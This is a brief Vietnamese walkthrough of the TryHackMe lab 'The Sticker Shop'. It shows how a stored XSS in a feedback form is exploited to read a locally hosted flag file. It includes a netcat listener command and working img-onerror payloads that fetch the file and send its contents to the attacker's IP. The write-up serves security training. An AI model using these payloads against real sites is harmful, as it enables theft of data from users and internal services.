TryHackMe: The Sticker Shop

Mục lục

Walkthrough challenge The Sticker Shop trên TryHackMe — exploit Stored XSS để đọc flag từ localhost.

Link: https://tryhackme.com/room/thestickershop

Keyword: Stored XSS

Question Hint: Can you conduct any client-side exploitation in order to read the flag?

Cảm ơn: splitunknown

Phân tích

Dựa vào hint → vulnerability client-side như XSS hoặc CSRF.

Website có trang Feedback cho user nhập input → Stored XSS.

Khai thác

Lấy IP attacker:

$ ifconfig
tun0: inet 10.4.126.108

Mở server: nc -knvlp 9090

Test payload:

<img src="x" onerror="fetch('10.4.126.108:9090')">

Thử truy cập http://10.10.130.23:8080/flag.txt:

Flag response

Response origin là localhostflag.txt hosted locally.

Payload cuối cùng — fetch flag.txt từ localhost rồi gửi về server:

<img src="x" onerror="fetch('http://127.0.0.1:8080/flag.txt').then(r => r.text()).then(r => fetch('http://10.4.126.108:9090?flag='+r))">

Flag xuất hiện trên server! 🎉